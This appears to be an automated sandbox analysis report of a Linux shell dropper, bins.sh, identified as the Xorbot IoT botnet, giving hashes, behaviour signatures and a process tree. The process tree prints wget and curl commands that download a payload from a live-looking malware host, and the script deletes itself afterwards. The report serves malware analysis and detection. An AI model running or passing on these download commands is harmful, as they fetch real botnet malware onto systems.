Analysis

  • max time kernel
    149s
  • max time network
    8s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/12/2024, 20:45

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c84ccfc6e497a40632f30dfeb029ec63

  • SHA1

    eeb176681b831a1002431dc6975172be4fc0eef9

  • SHA256

    ca83d4d78bc4f33cc4533280f3b37ec8016c54b8763b62ec398bc677249c4724

  • SHA512

    60619865c199cfa22e2042755c8893a8991096e43b37012f5b73f0b24018edf5f1ec3052de5f12ae2e46b43660196950c9996b8ce8887b751b84c30038089ffc

  • SSDEEP

    192:+/0wBmuoXWeepObrs59oPxtYUL+O4DVd6D3+P0wBmum5eUbrs59E1YUL+OeVd6Dd:+/0wBmuomlObrs59oPxqDVd6D3+P0wBQ

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:653
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:655
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/jYwKywvzTWbLRCsFPqtJt1PDllBAjfiRLw
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/jYwKywvzTWbLRCsFPqtJt1PDllBAjfiRLw
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:677

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • /tmp/jYwKywvzTWbLRCsFPqtJt1PDllBAjfiRLw

        Filesize

        99KB

        MD5

        9438d9bc392bcf300a5583b6df5bc8f6

        SHA1

        375a6ae34b516f6f3eeea8030c4084f585017efa

        SHA256

        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

        SHA512

        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860